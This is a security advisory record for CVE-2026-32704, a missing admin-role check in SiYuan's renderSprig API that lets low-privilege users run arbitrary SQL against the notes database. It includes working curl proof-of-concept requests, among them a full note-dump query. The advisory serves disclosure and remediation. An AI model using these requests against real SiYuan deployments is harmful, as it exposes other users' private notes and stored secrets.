{"id":"CVE-2026-32704","aliases":["GHSA-4j3x-hhg2-fm2x"],"title":"SiYuan's renderSprig has a missing admin check that allows any user to read full workspace DB","summary":"SiYuan's renderSprig has a missing admin check that allows any user to read full workspace DB","severity":"medium","cvss":6.5,"cwe":["CWE-285","CWE-732"],"vendor":"siyuan-note","product":"github.com/siyuan-note/siyuan/kernel","ecosystem":"go","affected":["github.com/siyuan-note/siyuan/kernel <= 3.6.0"],"patched":["github.com/siyuan-note/siyuan/kernel 3.6.1"],"published":"2026-03-13","updated":"2026-11-05","sourceUpdated":"2026-11-05T21:22:58Z","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-4j3x-hhg2-fm2x","references":[{"url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-4j3x-hhg2-fm2x"},{"url":"https://github.com/siyuan-note/siyuan/issues/17209"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32704"},{"url":"https://github.com/siyuan-note/siyuan/commit/5859cc222f2016874f778dd8f4ebafaab1cf7e0"},{"url":"https://github.com/advisories/GHSA-4j3x-hhg2-fm2x"}],"tags":["ghsa","go"],"epss":0.00261,"epssPercentile":0.17968,"ingestedAt":"2026-11-05T21:36:00.352Z","slug":"CVE-2026-32704","body":"## Overview\n\n### Summary\n`POST /api/template/renderSprig` lacks `model.CheckAdminRole`, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes.\n\n### Details\n**File:** `kernel/api/router.go`\n\nEvery sensitive endpoint in the codebase uses `model.CheckAuth + model.CheckAdminRole`, but `renderSprig` only has `CheckAuth`:\n\n```go\n//  Missing CheckAdminRole\nginServer.Handle(\"POST\", \"/api/template/renderSprig\",\n    model.CheckAuth, renderSprig)\n\n//  Correct pattern used by all other data endpoints\nginServer.Handle(\"POST\", \"/api/template/render\",\n    model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renderTemplate)\n```\n\n`renderSprig` calls `model.RenderGoTemplate` (`kernel/model/template.go`) which registers SQL functions from `kernel/sql/database.go`:\n\n```go\n(*templateFuncMap)[\"querySQL\"] = func(stmt string) (ret []map[string]interface{}) {\n    ret, _ = Query(stmt, 1024)  // executes raw SELECT, no role check\n    return\n}\n```\n\nAny authenticated user - including Publish Service **Reader** role accounts - can call this endpoint and execute arbitrary SELECT queries.\n\n### PoC\n**Environment:**\n```bash\ndocker run -d --name siyuan -p 6806:6806 \\\n  -v $(pwd)/workspace:/siyuan/workspace \\\n  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**Exploit:**\n```bash\n# Step 1: Login and retrieve API token\ncurl -s -X POST http://localhost:6806/api/system/loginAuth \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"authCode\":\"test123\"}' -c /tmp/siy.cookie\n\nsleep 15  # wait for boot\n\nTOKEN=$(curl -s -X POST http://localhost:6806/api/system/getConf \\\n  -b /tmp/siy.cookie -H \"Content-Type: application/json\" -d '{}' \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)['data']['conf']['api']['token'])\")\n\n# Step 2: Execute SQL as non-admin user\ncurl -s -X POST http://localhost:6806/api/template/renderSprig \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\":\"{{querySQL \\\"SELECT count(*) as n FROM blocks\\\" | toJson}}\"}'\n```\n\n**Confirmed response on v3.6.0:**\n```json\n{\"code\":0,\"msg\":\"\",\"data\":\"[{\\\"n\\\":0}]\"}\n```\n\n**Full note dump:**\n```bash\ncurl -s -X POST http://localhost:6806/api/template/renderSprig \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\":\"{{range $r := (querySQL \\\"SELECT hpath,content FROM blocks LIMIT 100\\\")}}{{$r.hpath}}: {{$r.content}}\\n{{end}}\"}'\n```\n\n### Impact\nAny authenticated user (API token holder, Publish Service Reader) can:\n- Dump **all note content** and document hierarchy from the workspace\n- Exfiltrate tags, custom attributes, block IDs, and timestamps\n- Search notes for stored passwords, API keys, or personal data\n- Enumerate all notebooks and their structure\n\nThis is especially severe in shared or enterprise deployments where lower-privilege accounts should not have access to other users' notes.\n\n## Affected packages\n\n- `github.com/siyuan-note/siyuan/kernel <= 3.6.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/siyuan-note/siyuan/kernel 3.6.1`","depth":"sunlit","depthScore":36,"depthScoreParts":{"impact":35.8,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}